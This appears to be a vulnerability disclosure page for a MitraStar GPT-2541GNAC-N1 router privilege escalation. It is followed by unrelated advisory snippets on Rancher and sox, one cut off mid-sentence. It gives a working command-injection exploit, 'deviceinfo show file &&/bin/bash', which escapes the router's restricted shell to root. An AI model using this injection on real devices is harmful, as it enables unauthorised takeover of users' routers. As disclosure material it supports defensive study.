MitraStar GPT-2541GNAC-N1 (HGU) 100VNZ0b33 devices allow remote authenticated users to obtain root access by executing command “deviceinfo show file &&/bin/bash” because of incorrect sanitization of parameter "path".
# Exploit Title: Mitrastar GPT-2541GNAC-N1 - Privilege escalation
# Date: 10-08-2021
# Exploit Author: Leonardo Nicolas Servalli
# Vendor Homepage: www.mitrastar.com
# Platform: Mistrastar router devices GPT-2541GNAC-N1 (HGU)
# Tested on: Firmware BR_g3.5_100VNZ0b33
# Vulnerability analysis: https://github.com/leoservalli/Privilege-escalation-MitraStar/blob/main/README.md
Description:
----------
# Mitrastar GPT-2541GNAC-N1 devices are provided with access through ssh into a restricted default shell (credentials are on the back of the router and in some cases this routers use default credentials).
# The command “deviceinfo show file <path>” is used from reduced CLI to show files and directories. Because this command do not handle correctly special characters, is possible to insert a second command as a parameter on the <path> value. By using “&&/bin/bash” as parameter value we can spawn a bash console, as seen on the next example:
Exploit:
--------
> deviceinfo show file &&/bin/bash
# This command will spawn a full interoperable bash console with root privileges.Related news
### Impact This vulnerability affects customers who utilize non-admin users that are able to create or edit [Global Roles](https://rancher.com/docs/rancher/v2.6/en/admin-settings/rbac/). The most common use case for this scenario is the [`restricted-admin`](https://rancher.com/docs/rancher/v2.6/en/admin-settings/rbac/global-permissions/#restricted-admin) role. A flaw was discovered in Rancher versions from 2.5.0 up to and including 2.5.12 and from 2.6.0 up to and including 2.6.3 which allows users who have create or update permissions on Global Roles to escalate their permissions, or those of another user, to admin-level permissions. Global Roles grant users Rancher-wide permissions, such as the ability to create clusters. In the identified versions of Rancher, when users are given permission to edit or create Global Roles, they are not restricted to only granting permissions which they already posses. The privilege escalation can be taken advantage of in two ways by users with creat...
A flaw was found in sox 14.4.1. The lsx_adpcm_init function within libsox leads to a global-buffer-overflow. This flaw allows an attacker to input a malicious file, leading to the disclosure of sensitive information.
A Improper Privilege Management vulnerability in SUSE Rancher allows users with the restricted-admin role to escalate to full admin. This issue affects: SUSE Rancher Rancher versions prior to 2.5.13; Rancher versions prior to 2.6.4.
